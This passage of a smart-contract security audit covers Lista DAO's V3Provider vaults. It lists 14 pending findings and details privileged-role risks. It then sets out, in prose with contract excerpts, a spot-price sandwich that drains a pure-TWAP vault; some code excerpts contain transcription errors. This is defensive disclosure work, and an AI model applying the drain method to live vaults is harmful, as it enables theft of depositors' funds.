

# Lista Dao (V3Provider) - audit

## Preliminary Comments

---

CertiK Assessed on Jul 8th, 2026





Certik Assessed on Jul 8th, 2026

## Lista Dao (V3Provider) - audit

These preliminary comments were prepared by Certik.

### Executive Summary

#### TYPES

DeFi

#### ECOSYSTEM

EVM Compatible

#### METHODS

Manual Review, Static Analysis

#### LANGUAGE

Solidity

#### TIMELINE

Preliminary comments published on 07/09/2026

### Vulnerability Summary



14

Total Findings

0

Resolved

0

Partially Resolved

0

Acknowledged

0

Declined

14

Pending

#### 1 Centralization

1 Pending

Centralization findings highlight privileged roles & functions and their capabilities, or instances where the project takes custody of users' assets.

#### 0 Critical

Critical risks are those that impact the safe functioning of a platform and must be addressed before launch. Users should not invest in any project with outstanding critical risks.

#### 1 Major

1 Pending

Major risks may include logical errors that, under specific circumstances, could result in fund losses or loss of project control.

#### 1 Medium

1 Pending

Medium risks may not pose a direct risk to users' funds, but they can affect the overall functioning of a platform.

#### 5 Minor

5 Pending

Minor risks can be any of the above, but on a smaller scale. They generally do not compromise the overall integrity of the project, but they may be less efficient than other solutions.

#### 4 Informational

4 Pending

Informational errors are often recommendations to improve the style of the code or certain operations to fall within industry best practices. They usually do not affect the overall functioning of the code.

#### 2 Discussion

2 Pending

The impact of the issue is yet to be determined, hence requires further clarifications from the project team.

# TABLE OF CONTENTS | LISTA DAO (V3PROVIDER) - AUDIT

## **Audit Summary**

[Executive Summary](#)

[Vulnerability Summary](#)

[Codebase](#)

[Audit Scope](#)

[Approach & Methods](#)

## **Review Notes**

[Overview](#)

[Privileged Functions](#)

[External Dependencies](#)

## **Findings**

[LDV-01 : Centralization Related Risks](#)

[LDV-02 : Pure-TWAP Pair Rebalance Uses Manipulable Spot Price, Enabling A Vault Drain](#)

[LDV-03 : First-Depositor Share Inflation Through A Permissionless Increase Liquidity Donation](#)

[LDV-04 : V3Provider Share Minting Does Not Reject Zero Leg Prices](#)

[LDV-05 : Single-Sided Compound Can Revert With Zero Liquidity And Brick Deposit / Withdraw / Redeem](#)

[LDV-06 : Dust Share Redemption Bypasses Minimum Output Checks](#)

[LDV-07 : Misleading ERC-20 `allowance` On `V3Provider` Share Token](#)

[LDV-08 : Broken ERC4626 Interface On V3Provider](#)

[LDV-09 : V3Liquidation Event Emits Zero Redeemed Amounts Instead Of Actual Values](#)

[LDV-10 : SellBNB Event Over-Reports Native Input When Swap Refunds Value](#)

[LDV-11 : Misleading `minAmount0` / `minAmount1` On `withdraw` / `redeemShares`](#)

[LDV-12 : Stacked Haircut And LLTV Discount](#)

[LDV-13 : User-Triggered Fee Compounding Can Reinvest Shared Fees At Manipulated Spot Price](#)

[LDV-14 : Rebalance Remint Lacks A Token-Slippage Floor And Relies Solely On MinLiquidity](#)

## **Appendix**

## **Disclaimer**

# CODEBASE | LISTA DAO (V3PROVIDER) - AUDIT

## Repository

<https://github.com/lista-dao/moolah>

## Commit

[110544000c86e8bdf36971e7b7cdb3ec93a672f7](https://github.com/lista-dao/moolah/commit/110544000c86e8bdf36971e7b7cdb3ec93a672f7)

## Audit Scope

The files in scope are listed in the appendix.

## APPROACH & METHODS | LISTA DAO (V3PROVIDER) - AUDIT

This audit was conducted for Lista Dao to evaluate the security and correctness of the smart contracts associated with the Lista Dao (V3Provider) - audit project. The assessment included a comprehensive review of the in-scope smart contracts. The audit was performed using a combination of Manual Review and Static Analysis.

The review process emphasized the following areas:

- Architecture review and threat modeling to understand systemic risks and identify design-level flaws.
- Identification of vulnerabilities through both common and edge-case attack vectors.
- Manual verification of contract logic to ensure alignment with intended design and business requirements.
- Dynamic testing to validate runtime behavior and assess execution risks.
- Assessment of code quality and maintainability, including adherence to current best practices and industry standards.

The audit resulted in findings categorized across multiple severity levels, from informational to critical. To enhance the project's security and long-term robustness, we recommend addressing the identified issues and considering the following general improvements:

- Improve code readability and maintainability by adopting a clean architectural pattern and modular design.
- Strengthen testing coverage, including unit and integration tests for key functionalities and edge cases.
- Maintain meaningful inline comments and documentations.
- Implement clear and transparent documentation for privileged roles and sensitive protocol operations.
- Regularly review and simulate contract behavior against newly emerging attack vectors.

# REVIEW NOTES | LISTA DAO (V3PROVIDER) - AUDIT

## Overview

The **Lista DAO V3 Provider** stack wraps a single V3 concentrated-liquidity position into **vLP shares** used as **Moolah collateral**. Three deployments are in scope: **slisBNB/WBNB** (BSC), **wstETH/WETH**, and **wbETH/WETH** (Ethereum).

**V3Provider** is the user-facing vault. Users deposit both pool legs via `deposit()`; the vault mints shares from adapter NAV and supplies them to Moolah. Exits use `withdraw()` or `redeemShares()` into underlying tokens. Share transfers are restricted to Moolah. **SlisBNBV3Provider** adds per-user deposit tracking and optional **SlisBNBxMinter** synchronization.

**V3DexAdapter** holds the sole V3 NFT, compounds fees, and executes liquidity add/remove. **BOT** triggers rebalance on the provider; the adapter recenters around the LST/native exchange rate and may convert inventory through **MANAGER**-whitelisted swap venues.

**V3ProviderOracle** serves as Moolah's share oracle. It values fair adapter composition at resilient-oracle leg prices and applies a configurable haircut.

**V3Liquidator** is the operator-controlled liquidation executor. **BOT** runs flash liquidations by redeeming seized shares, swapping legs to the loan token, and repaying Moolah in the liquidation callback. **MANAGER** maintains whitelists for markets, providers, and swap venues.

## Privileged Functions

In the **Lista DAO V3 Provider** project, privileged roles are used to support runtime governance, upgradeability, parameter tuning, and emergency response, which are specified in the finding **Centralization Related Risks**.

The advantage of those privileged roles in the codebase is that the client reserves the ability to adjust the protocol according to the runtime required to best serve the community.

It is also worth noting the potential drawbacks of these functions, which should be clearly stated through the client's action/plan. Additionally, if the private keys of the privileged accounts are compromised, it could lead to devastating consequences for the project.

To improve the trustworthiness of the project, dynamic runtime updates in the project should be notified to the community. Any plan to invoke the aforementioned functions should be also considered to move to the execution queue of the **Timelock** contract.

## External Dependencies

Third-party libraries used in scope:

- **@openzeppelin/contracts**
- **@openzeppelin/contracts-upgradeable**
- **solady** (SafeTransferLib in **V3Liquidator**)
- **lista-dao-contracts** (TickMath, LiquidityAmounts, FullMath)



- **lista-v3** (V3 pool/factory interfaces)

Configurable or external addresses by contract:

- **V3Provider / pair providers**: immutable `MOOLAH`, `ADAPTER`, `TOKEN0`, `TOKEN1`, `WRAPPED_NATIVE`; configurable `resilientOracle`, `accountingAssetDecimals`; role-bearing accounts (`DEFAULT_ADMIN_ROLE`, `MANAGER`, `BOT`). `SlisBNBV3Provider` adds optional `slisBNBxMinter`.
- **V3DexAdapter / pair adapters**: immutable `POSITION_MANAGER`, `POOL`, `TOKEN0`, `TOKEN1`, `FEE`, `TWAP_PERIOD`, `WRAPPED_NATIVE`; one-time provider binding via `setProvider`; `centerRateThresholdBps`, `swapPairWhitelist`; role-bearing accounts (`DEFAULT_ADMIN_ROLE`, `MANAGER`). Pair constants include BSC `StakeManager` / `slisBNB` addresses (`SlisBNBV3DexAdapter`) and Ethereum LST/WETH pairs (`WstETHV3DexAdapter`, `WbETHV3DexAdapter`); `wstETH/wbETH` adapters expose `maxTwapDeviationBps`.
- **V3ProviderOracle / SlisBNBV3ProviderOracle**: immutable `ADAPTER`, `PROVIDER_SHARE`, `TOKEN0`, `TOKEN1`; configurable `resilientOracle`, `haircutBps`; role-bearing accounts (`DEFAULT_ADMIN_ROLE`, `MANAGER`).
- **V3Liquidator**: immutable `MOOLAH`; whitelists for markets, V3 providers, tokens, and swap pairs/aggregators; role-bearing accounts (`DEFAULT_ADMIN_ROLE`, `MANAGER`, `BOT`).

External protocol dependencies (outside scope, assumed trusted):

- **Moolah**: isolated lending market; vLP shares are the collateral token; only Moolah may transfer shares; liquidation uses Moolah's callback flow.
- **Lista / Uniswap V3 NonfungiblePositionManager & V3 pool**: mint/increase/decrease/collect/burn for the adapter's single NFT position; third-party `increaseLiquidity` on the public `tokenId` is permissionless at the NPM layer.
- **Resilient Oracle (multiOracle)**: 8-decimal USD pricing for pool legs and the accounting asset; LST legs are configured rate-derived from underlying native price  $\times$  on-chain exchange rate.
- **Rate sources**: `StakeManager.convertSnBnbToBnb` (`slisBNB`), `wstETH.stEthPerToken()`, `wbETH.exchangeRate()` — anchor fair price and rebalance range centering.
- **SlisBNBxMinter / slisBNBx** (`slisBNB` deployment only): optional module; collateral changes trigger `rebalance(account)` on the minter.
- **Backend BOT**: constructs rebalance and liquidation `swapData`; must use adapter/liquidator whitelisted venues.

It is assumed that these external contracts and privileged operators are trusted and correctly managed across the **Lista DAO V3 Provider** deployment lifecycle. In particular: each adapter must be one-time wired to its provider via `setProvider`; each market must register the matching provider, oracle, and (where used) `V3Liquidator` on Moolah liquidation whitelist; the resilient oracle must price LST legs consistently with the adapter's rate-implied composition; and BOT/MANAGER keys must be secured because rebalance calldata and liquidator swap routing are operator-controlled.

# FINDINGS | LISTA DAO (V3PROVIDER) - AUDIT



14

Total Findings

0

Critical

1

Centralization

1

Major

1

Medium

5

Minor

4

Informational

2

Discussion

This report has been prepared for Lista Dao to identify potential vulnerabilities and security issues within the reviewed codebase. During the course of the audit, a total of 14 issues were identified. Leveraging a combination of Manual Review & Static Analysis the following findings were uncovered:

| ID     | Title                                                                                      | Category                             | Severity       | Status    |
|--------|--------------------------------------------------------------------------------------------|--------------------------------------|----------------|-----------|
| LDV-01 | Centralization Related Risks                                                               | Centralization                       | Centralization | ● Pending |
| LDV-02 | Pure-TWAP Pair Rebalance Uses Manipulable Spot Price, Enabling A Vault Drain               | Financial Manipulation, Design Issue | Major          | ● Pending |
| LDV-03 | First-Depositor Share Inflation Through A Permissionless Increase Liquidity Donation       | Financial Manipulation               | Medium         | ● Pending |
| LDV-04 | V3Provider Share Minting Does Not Reject Zero Leg Prices                                   | Logical Issue, Inconsistency         | Minor          | ● Pending |
| LDV-05 | Single-Sided Compound Can Revert With Zero Liquidity And Brick Deposit / Withdraw / Redeem | Denial of Service                    | Minor          | ● Pending |
| LDV-06 | Dust Share Redemption Bypasses Minimum Output Checks                                       | Logical Issue                        | Minor          | ● Pending |
| LDV-07 | Misleading ERC-20 <code>allowance</code> On <code>V3Provider</code> Share Token            | Logical Issue                        | Minor          | ● Pending |
| LDV-08 | Broken ERC4626 Interface On V3Provider                                                     | Incorrect Calculation, Logical Issue | Minor          | ● Pending |
| LDV-09 | V3Liquidation Event Emits Zero Redeemed Amounts Instead Of Actual Values                   | Coding Issue                         | Informational  | ● Pending |
| LDV-10 | SellBNB Event Over-Reports Native Input When Swap Refunds Value                            | Coding Issue, Inconsistency          | Informational  | ● Pending |



| ID     | Title                                                                                                             | Category      | Severity      | Status              |
|--------|-------------------------------------------------------------------------------------------------------------------|---------------|---------------|---------------------|
| LDV-11 | Misleading <code>minAmount0</code> / <code>minAmount1</code> On <code>withdraw</code> / <code>redeemShares</code> | Logical Issue | Informational | <div></div> Pending |
| LDV-12 | Stacked Haircut And LLTV Discount                                                                                 | Design Issue  | Informational | <div></div> Pending |
| LDV-13 | User-Triggered Fee Compounding Can Reinvest Shared Fees At Manipulated Spot Price                                 | Design Issue  | Discussion    | <div></div> Pending |
| LDV-14 | Rebalance Remint Lacks A Token-Slippage Floor And Relies Solely On MinLiquidity                                   | Design Issue  | Discussion    | <div></div> Pending |

## LDV-01 | Centralization Related Risks

| Category       | Severity       | Location                                                                                                                                                                                                                                                                                                                                                            | Status  |
|----------------|----------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------|
| Centralization | Centralization | V3Liquidator.sol: 167, 171, 177, 183, 187, 193, 200, 207, 232, 262, 316, 330, 342, 357, 392, 502; SlisBNBV3Provider.sol: 58, 109; V3DexAdapter.sol: 177, 200, 216, 259, 295, 302, 312, 322, 683; V3Provider.sol: 136, 473; V3ProviderOracle.sol: 167, 173; WbETHV3DexAdapter.sol: 75; WbETHV3Provider.sol: 34; WstETHV3DexAdapter.sol: 75; WstETHV3Provider.sol: 33 | Pending |

### Description

In the contract `V3Liquidator`, the role `DEFAULT_ADMIN_ROLE` has authority over the following functions:

Inherited from `AccessControlUpgradeable`:

- `grantRole(bytes32 role, address account)`
- `revokeRole(bytes32 role, address account)`

Inherited from `UUPSUpgradeable`:

- `upgradeToAndCall(address newImplementation, bytes data)`

The `DEFAULT_ADMIN_ROLE` is initially granted in `initialize(address admin, address manager, address bot)` to the `admin` address. This role is the admin of itself, `MANAGER`, and `BOT`, so it can replace or remove every privileged operator in the liquidator and can authorize implementation upgrades through the UUPS path. If compromised or abused, the holder can install arbitrary new logic, seize indirect control of all whitelist management and liquidation operations by reassigning roles, or permanently disrupt liquidations.

In the contract `V3Liquidator`, the role `MANAGER` has authority over the following functions:

Defined in `V3Liquidator`:

- `withdrawERC20(address token, uint256 amount)`
- `withdrawETH(uint256 amount)`
- `setTokenWhitelist(address token, bool status)`
- `setMarketWhitelist(bytes32 id, bool status)`
- `batchSetMarketWhitelist(bytes32[] ids, bool status)`
- `setPairWhitelist(address pair, bool status)`
- `setV3ProviderWhitelist(address provider, bool status)`
- `batchSetV3Providers(address[] providers, bool status)`

The `MANAGER` role is initially granted in `initialize` to the `manager` address and is thereafter controlled by `DEFAULT_ADMIN_ROLE`. This role can directly withdraw ERC-20 tokens and native assets held by the liquidator, decide which loan tokens, markets, swap venues, and V3 providers the liquidator is allowed to interact with, and thereby gate or redirect liquidation workflows. A malicious or compromised manager could drain assets that accumulate in the liquidator, disable liquidations by removing whitelist entries, or whitelist unsafe venues and providers that change execution risk and fund flow.

In the contract `V3Liquidator`, the role `BOT` has authority over the following functions:

Defined in `V3Liquidator`:

- `liquidate(bytes32 id, address borrower, uint256 seizedAssets, uint256 repaidShares)`
- `flashLiquidate(bytes32 id, address borrower, uint256 seizedAssets, FlashLiquidateParams params)`
- `redeemV3Shares(address v3Provider, uint256 shares, uint256 minAmt0, uint256 minAmt1, address receiver)`
- `sellToken(address pair, address tokenIn, address tokenOut, uint256 amountIn, uint256 amountOutMin, bytes swapData)`
- `sellToken(address pair, address spender, address tokenIn, address tokenOut, uint256 amountIn, uint256 amountOutMin, bytes swapData)`
- `sellBNB(address pair, address tokenOut, uint256 amountIn, uint256 amountOutMin, bytes swapData)`

The `BOT` role is initially granted in `initialize` to the `bot` address and is thereafter controlled by `DEFAULT_ADMIN_ROLE`. This role can trigger liquidations, redeem seized provider shares, and actively swap tokens or native assets held by the liquidator through whitelisted venues. If compromised, the bot can determine when and how liquidations occur, choose liquidation parameters and swap calldata, and convert seized collateral inventory, which gives it strong operational control over realization of bad debt and over assets temporarily held by the contract.

In the contracts `SlisBNBV3DexAdapter`, `WbETHV3DexAdapter`, and `WstETHV3DexAdapter`, the role `DEFAULT_ADMIN_ROLE` has authority over the following functions:

Inherited from `AccessControlUpgradeable`:

- `grantRole(bytes32 role, address account)`
- `revokeRole(bytes32 role, address account)`

Inherited from `UUPSUpgradeable`:

- `upgradeToAndCall(address newImplementation, bytes data)`

Defined in `V3DexAdapter`:

- `setProvider(address _provider)`

The `DEFAULT_ADMIN_ROLE` is initially granted in each adapter initializer to the `_admin` address. This role administers itself and the `MANAGER` role, can permanently wire the adapter to a chosen provider through the one-time `setProvider` call, and can authorize UUPS upgrades. A compromised admin could replace managers, point an uninitialized adapter at an

unintended provider that passes the adapter cross-check, or upgrade the adapter into arbitrary logic that changes custody, valuation, whitelist enforcement, or fund movement rules around the concentrated-liquidity position and idle inventory.

In the contracts `SlisBNBV3DexAdapter`, `WbETHV3DexAdapter`, and `WstETHV3DexAdapter`, the role `MANAGER` has authority over the following functions:

Defined in `V3DexAdapter`:

- `setCenterRateThresholdBps(uint256 _centerRateThresholdBps)`
- `setSwapPairWhitelist(address swapPair, bool status)`

The `MANAGER` role is initially granted in each adapter initializer to the `_manager` address and is thereafter controlled by `DEFAULT_ADMIN_ROLE`. This role controls rebalance eligibility thresholds and the allowlist of swap venues that the adapter may call during inventory conversion. A malicious or compromised manager could freeze rebalances by setting unsuitable thresholds, force the system to rely on a narrow or unsafe venue set, or whitelist venues that materially change execution and custody assumptions during inventory conversion.

In the contract `SlisBNBV3Provider`, the role `BOT` has authority over the following functions:

Defined in `SlisBNBV3Provider`:

- `rebalance(uint256 minAmount0, uint256 minAmount1, uint256 minLiquidity, uint256 deadline, bytes swapData)`

The `BOT` role is initially granted through `__V3Provider_init` to the `_bot` address passed into `initialize`, and the admin of `BOT` is reassigned to `MANAGER` in the base initializer. This role can trigger position recentering and inventory conversion through the linked adapter using backend-supplied swap calldata. If compromised, the bot can choose rebalance timing and execution parameters that affect realized pricing, inventory composition, and liveness of strategy management.

In the contract `SlisBNBV3Provider`, the role `MANAGER` has authority over the following functions:

Defined in `SlisBNBV3Provider`:

- `setSlisBNBxMinter(address _slisBNBxMinter)`

The `MANAGER` role is initially granted through `__V3Provider_init` to the `_manager` address and is administered by `DEFAULT_ADMIN_ROLE`. In the V3 provider family, `MANAGER` is also the admin role for `BOT`, so the holder can additionally manage bot assignments via the inherited role-admin functions described in the base provider file. Within this specialization, the manager can set or replace the `slisBNBxMinter` hook that is called during user balance synchronization. A malicious manager could redirect this dependency to an untrusted contract, interfere with reward mirroring, or induce operational disruption around collateral-balance synchronization.

In the contracts `SlisBNBV3Provider`, `WbETHV3Provider`, and `WstETHV3Provider`, the role `DEFAULT_ADMIN_ROLE` has authority over the following functions:

Inherited from `AccessControlUpgradeable`:

- `grantRole(bytes32 role, address account)`
- `revokeRole(bytes32 role, address account)`

Inherited from `UUPSUpgradeable` :

- `upgradeToAndCall(address newImplementation, bytes data)`

The `DEFAULT_ADMIN_ROLE` is initially granted in `_V3Provider_init` to the `_admin` address. This role administers itself and the `MANAGER` role, and through manager replacement it can indirectly control `BOT` because `BOT`'s admin is reassigned to `MANAGER`. It also authorizes UUPS upgrades for each provider vault. If compromised, the admin can replace governance operators or deploy arbitrary upgraded logic that changes share accounting, collateral flows, transfer restrictions, withdrawal behavior, oracle usage, or other vault invariants.

In the contracts `SlisBNBV3Provider`, `WbETHV3Provider`, and `WstETHV3Provider`, the role `MANAGER` has authority over the following functions:

Inherited from `AccessControlUpgradeable` :

- `grantRole(bytes32 role, address account)`
- `revokeRole(bytes32 role, address account)`

The `MANAGER` role is initially granted in `_V3Provider_init` to the `_manager` address and is administered by `DEFAULT_ADMIN_ROLE`. The base initializer changes the admin of `BOT` to `MANAGER`, so the inherited role-admin functions give the manager effective control over the entire bot operator set for each provider family vault. A malicious or compromised manager can appoint, replace, or revoke bot operators that are able to trigger strategy rebalances, thereby centralizing operational control over strategy maintenance and execution timing.

In the contracts `V3ProviderOracle` and `SlisBNBV3ProviderOracle`, the role `DEFAULT_ADMIN_ROLE` has authority over the following functions:

Inherited from `AccessControlUpgradeable` :

- `grantRole(bytes32 role, address account)`
- `revokeRole(bytes32 role, address account)`

Inherited from `UUPSUpgradeable` :

- `upgradeToAndCall(address newImplementation, bytes data)`

The `DEFAULT_ADMIN_ROLE` is initially granted in `initialize(address _admin, address _manager, address _resilientOracle, uint256 _haircutBps)` to the `_admin` address. This role administers itself and the `MANAGER` role and can authorize upgrades of the pricing oracle contract. If compromised, the admin can replace the manager or upgrade the oracle into arbitrary logic that changes share pricing, collateral valuation, haircut application, or delegated oracle behavior, which can directly affect borrowing power, liquidation thresholds, and protocol solvency assumptions.

In the contracts `V3ProviderOracle` and `SlisBNBV3ProviderOracle`, the role `MANAGER` has authority over the following functions:

Defined in `V3ProviderOracle` :

- `setHaircutBps(uint256 _haircutBps)`



The `MANAGER` role is initially granted in `initialize` to the `_manager` address and is thereafter controlled by `DEFAULT_ADMIN_ROLE`. This role can change the conservative haircut applied to provider-share valuations, within the configured maximum. A malicious or compromised manager can increase or reduce the haircut to materially alter collateral pricing, which can tighten or loosen borrowing capacity, influence liquidation behavior, and affect fairness between depositors and borrowers.

---

In the contract `WbETHV3DexAdapter`, the role `MANAGER` has authority over the following functions:

Defined in `WbETHV3DexAdapter`:

- `setMaxTwapDeviationBps(uint256 _maxTwapDeviationBps)`

The `MANAGER` role is initially granted through the adapter initializer to the `_manager` address and is administered by `DEFAULT_ADMIN_ROLE`. This role can change the TWAP-versus-rate clamp band used by the fair valuation path for the `wbETH/WETH` LP. A malicious or compromised manager can force valuation to rely more heavily on raw rate or permit a much wider TWAP deviation band, materially affecting the adapter's fair price output and therefore downstream vault and oracle accounting.

---

In the contract `WbETHV3Provider`, the role `BOT` has authority over the following functions:

Defined in `WbETHV3Provider`:

- `rebalance(uint256 minAmount0, uint256 minAmount1, uint256 minLiquidity, uint256 deadline, bytes swapData)`

The `BOT` role is initially granted through `__V3Provider_init` to the `_bot` address, and its admin role is set to `MANAGER`. This role can trigger rebalances for the `wbETH/WETH` strategy and supply the execution parameters that drive adapter-side recentering and inventory conversion. If compromised, the bot can centrally control when rebalances occur and under what routing assumptions, affecting user share value, execution quality, and operational liveness.

---

In the contract `WstETHV3DexAdapter`, the role `MANAGER` has authority over the following functions:

Defined in `WstETHV3DexAdapter`:

- `setMaxTwapDeviationBps(uint256 _maxTwapDeviationBps)`

The `MANAGER` role is initially granted through the adapter initializer to the `_manager` address and is administered by `DEFAULT_ADMIN_ROLE`. This role can change the TWAP-versus-rate clamp band used by the fair valuation path for the `wstETH/WETH` LP. A malicious or compromised manager can widen or eliminate the clamp, materially changing how much manipulated or stale TWAP observations may influence downstream pricing and vault accounting.

---

In the contract `WstETHV3Provider`, the role `BOT` has authority over the following functions:

Defined in `WstETHV3Provider`:

- `rebalance(uint256 minAmount0, uint256 minAmount1, uint256 minLiquidity, uint256 deadline, bytes swapData)`

The `BOT` role is initially granted through `__V3Provider_init` to the `_bot` address, and its admin role is set to `MANAGER`. This role can trigger rebalances for the `wstETH/WETH` strategy and supply the execution parameters that drive adapter-side

recentering and inventory conversion. If compromised, the bot can centrally influence execution timing and rebalance behavior, which can affect position composition, share valuation, and strategy availability.

## Recommendation

The risk describes the current project design and potentially makes iterations to improve in the security operation and level of decentralization, which in most cases cannot be resolved entirely at the present stage. We advise the client to carefully manage the privileged account's private key to avoid any potential risks of being hacked. In general, we strongly recommend centralized privileges or roles in the protocol be improved via a decentralized mechanism or smart-contract-based accounts with enhanced security practices, e.g., multisignature wallets. Indicatively, here are some feasible suggestions that would also mitigate the potential risk at a different level in terms of short-term, long-term and permanent:

### Short Term:

Timelock and Multi sign (2/3, 3/5) combination *mitigate* by delaying the sensitive operation and avoiding a single point of key management failure,

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;  
AND
- Assignment of privileged roles to multi-signature wallets to prevent a single point of failure due to the private key compromised;  
AND
- A medium/blog link for sharing the timelock contract and multi-signers addresses information with the public audience.

### Long Term:

Timelock and DAO, the combination, *mitigate* by applying decentralization and transparency.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;  
AND
- Introduction of a DAO/governance/voting module to increase transparency and user involvement.  
AND
- A medium/blog link for sharing the timelock contract, multi-signers addresses, and DAO information with the public audience.

### Permanent:

Renouncing the ownership or removing the function can be considered *fully resolved*.

- Renounce the ownership and never claim back the privileged roles.  
OR
- Remove the risky functionality.

## LDV-02 | Pure-TWAP Pair Rebalance Uses Manipulable Spot Price, Enabling A Vault Drain

| Category                             | Severity | Location                                                 | Status  |
|--------------------------------------|----------|----------------------------------------------------------|---------|
| Financial Manipulation, Design Issue | Major    | src/provider/v3/V3DexAdapter.sol (06/26-110544): 562-578 | Pending |

### Description

`V3DexAdapter.rebalance()` recenters the managed position on every BOT rebalance. For a rate-implied pair it centers the new range on the manipulation-resistant LST/native rate and enforces a rate-drift gate. For a **pure-TWAP** pair — one whose `_lstNativeRate()` returns `0` — `_initialTickRange` instead centers the new range on the pool's `slot0` **spot** tick, the drift gate is skipped, and the position is re-minted with zero slippage minimums. A searcher who pushes the spot out of range before the rebalance makes the re-mint **thin**: the pushed-out inventory is one-sided, almost none of it is minted at the recentered range, and the remainder is written to `idleToken1` — the vault's whole value, parked at fair. The searcher then **redeploys** it at a wrong price using the permissionless compound: push spot just above the recentered range so the one-sided idle becomes addable, force `_collectAndCompound` (any `deposit` / `withdraw` / `redeemShares`) so the idle is minted as active liquidity — a standing bid to buy `token0` far above fair — then dump the price back and sell `token0` into that bid. As demonstrated in the PoC, a single sandwich can drain almost 100% of the vault's value — the farther the price is pushed before the rebalance, the more is taken — with attacker gain equal to the honest LP's realized loss (a first-order transfer).

### Vulnerability Detail

`rebalance()` derives the recenter target from `_lstNativeRate()`. When that rate is `0` the pair is treated as pure-TWAP: the rate-drift gate is skipped and the range is taken from `_initialTickRange(0)`.

```
// File: src/provider/v3/V3DexAdapter.sol
// Lines 329-337
if (block.timestamp > deadline) revert DeadlineExpired();

// Rate-implied pairs recenter around the LST+native rate; pure-TWAP pairs (rate
== 0) recenter
// around the spot tick and skip the rate-drift guard / inventory conversion.
uint256 centerRate = _lstNativeRate();
bool rateImplied = centerRate != 0;
if (rateImplied) _requireCenterRateDeviation(centerRate);

(int24 newTickLower, int24 newTickUpper) = _initialTickRange(centerRate);
```

What makes a pair pure-TWAP

The base `_1stNativeRate()` returns `0`. Rate-implied subclasses override it with a manipulation-resistant on-chain rate (slisBNB via `StakeManager`, wstETH via `stEthPerToken`, wbETH via `exchangeRate`). A pair whose adapter does not override it has `centerRate == 0`, so `rateImplied` is `false` and the `_requireCenterRateDeviation` gate never runs.

```
// File: src/provider/v3/V3DexAdapter.sol
// Lines 644-646
function _1stNativeRate() internal view virtual returns (uint256) {
    return 0;
}
```

### Spot-centered range, no drift gate

With `centerRate == 0`, `_initialTickRange` reads the pool's `slot0` current tick — the instantaneous spot, movable within a block — and centers the new range on it at `±FALLBACK_HALF_RANGE_TICKS`:

```
// File: src/provider/v3/V3DexAdapter.sol
// Lines 562-578
function _initialTickRange(
    uint256 centerRate
) internal view returns (int24 initialTickLower, int24 initialTickUpper) {
    int24 tickSpacing = IListaV3Pool(P00L).tickSpacing();

    if (centerRate != 0) {
        (initialTickLower, initialTickUpper) = _tickRangeForRate(centerRate,
            tickSpacing);
    } else {
        (, int24 currentTick) = IV3PoolMinimal(P00L).slot0();
        initialTickLower = _floorTick(currentTick - FALLBACK_HALF_RANGE_TICKS,
            tickSpacing);
        initialTickUpper = _ceilTick(currentTick + FALLBACK_HALF_RANGE_TICKS,
            tickSpacing);
    }

    if (initialTickLower >= initialTickUpper) {
        initialTickUpper = initialTickLower + tickSpacing;
    }
}
```

### The re-mint is thin and strands the inventory as one-sided idle

The recentered position is minted with zero amount minimums, and whatever the mint does not consume is written to

`idleToken0/1`:

```
// File: src/provider/v3/V3DexAdapter.sol
// Lines 368-389
uint128 mintedLiquidity;
if (total0 > 0 || total1 > 0) {
    (uint256 newTokenId, uint128 liquidity, uint256 used0, uint256 used1) =
V3PositionLib.mint(
    POSITION_MANAGER,
    TOKEN0,
    TOKEN1,
    FEE,
    newTickLower,
    newTickUpper,
    total0,
    total1,
    0,
    0
);
tokenId = newTokenId;
mintedLiquidity = liquidity;
idleToken0 = total0 - used0; // one-sided remainder stranded as idle
idleToken1 = total1 - used1;
} else {
    idleToken0 = total0;
    idleToken1 = total1;
}
```

When the searcher has pushed spot past the old range, the gathered inventory is essentially all `token1`. Minting a `[spot-500, spot+500]` range at that spot needs both tokens, so `used0 / used1` consume almost nothing and the whole balance falls through to `idleToken1`, leaving a near-zero position. The value is preserved but parked at fair — which is why the naive sandwich (push, rebalance, dump) is *not* profitable at a realistic range: there is no mispriced liquidity to trade against, and the manipulation fee dominates.

### A permissionless compound redeploys the idle at a manipulated price

`_collectAndCompound` runs at the top of `deposit` / `withdraw` / `redeemShares` and reinvests `fees + idle` via `increaseLiquidity(..., 0, 0)` at the live spot. If the searcher first pushes spot **above** the recentered range, the one-sided `token1` idle becomes addable (an above-range mint consumes only `token1`), so the forced compound deploys ALL of it as active liquidity inside the range — a standing bid to buy `token0` at prices stepping down from the pushed price. The rebalance left the position thin, so moving the spot to set this up is cheap.

### Attack path

Let the fair price be `P*` and the pushed price `P_high`.

1. Push spot up from `P*` to `P_high` (out of range), bundling ahead of the BOT `rebalance()`. The rebalance recenters on `P_high` and thin-mints, stranding ~the whole inventory as one-sided idle `token1` and leaving the position thin.

2. Push spot just **above** the new `[P_high-500, P_high+500]` range. This is cheap because the position is now thin.
3. Force the permissionless compound with a dust `deposit` (or any `withdraw` / `redeemShares`). The `token1` idle is deployed as active liquidity: a standing bid to buy `token0` across the range, far above fair.
4. Dump `P_high`  $\rightarrow$  `P*`. The vault's freshly-deployed `token1` buys the searcher's `token0` above fair the whole way down, and the searcher captures the divergence.

### Why `minAmount0` / `minAmount1` / `minLiquidity` do not prevent it

`rebalance()` exposes three caller-supplied floors — `minAmount0` / `minAmount1` guard the `decreaseLiquidity` that removes the old position, and `minLiquidity` guards the re-mint. **None of them can block this attack**, because in the state it uses they are invariant under the manipulation, or move the wrong way.

When the position is already at or above the high end of its range (the normal drifted state a pure-TWAP rebalance targets, which no balancing swap corrects) it holds only `token1`, and a V3 position's returned amounts **saturate at the upper tick**: for any spot `P  $\geq$  tickUpper`, `amount0 = 0` and `amount1 = Liq * (sqrt(tickUpper) - sqrt(tickLower))`, both independent of `P`. So the removal composition is *identical* whether the price sits at the tick edge or is pushed 10 $\times$  above it — a `minAmount0` / `minAmount1` a diligent BOT reads from the current (edge) state is still satisfied after the further push, and cannot distinguish an honest recenter from a manipulated one.

`minLiquidity` fails for the opposite reason: the liquidity minted from a fixed amount of `token0` scales with the square root of the price, so pushing the price *higher* makes the same `token0` mint **more** liquidity, not less — a `minLiquidity` set at the edge is passed with margin.

And on a pure-TWAP pair these floors cannot be set tight in the first place: with no inventory-conversion swap, every drifted rebalance is thin, so the BOT must keep the floors low or revert its own routine rebalances.

## Impact

